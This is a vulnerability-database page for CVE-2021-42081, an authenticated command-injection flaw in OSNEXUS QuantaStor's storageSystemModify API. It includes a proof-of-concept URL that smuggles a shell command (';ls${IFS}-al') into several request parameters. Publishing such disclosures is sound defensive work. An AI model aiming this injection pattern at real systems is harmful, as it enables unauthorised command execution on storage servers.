CVE-2021-42081 - CVE House
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Status published Critical CVE-2021-42081

Authenticated Remote Command Execution vulnerability in OSNEXUS QuantaStor before 6.0.0.355

Vulnerability Description

An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API. POC http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al

Impact Analysis

Refer to official advisory for detailed impact metrics.

Remediation

Ensure systems are updated to the latest vendor-supplied patch levels.

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Credits & Attribution

The following person or organization is credited with identifying this vulnerability, as recorded in the NVD database:

  • Wietse Boonstra (DIVD)
  • Frank Breedijk (DIVD)
  • Victor Pasman (DIVD)
  • Victor Gevers (DIVD)
  • Max van der Horst (DIVD)
  • Célistine Oosting (DIVD)

Affected Vendor

Affected Software

QuantaStor
Vulnerable Versions:
0

Timeline

Official Publish: July 10th, 2023
Last Modified: September 22nd, 2025
Added to House: July 21st, 2026

CVSS Vectors

V3: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Weaknesses (CWE)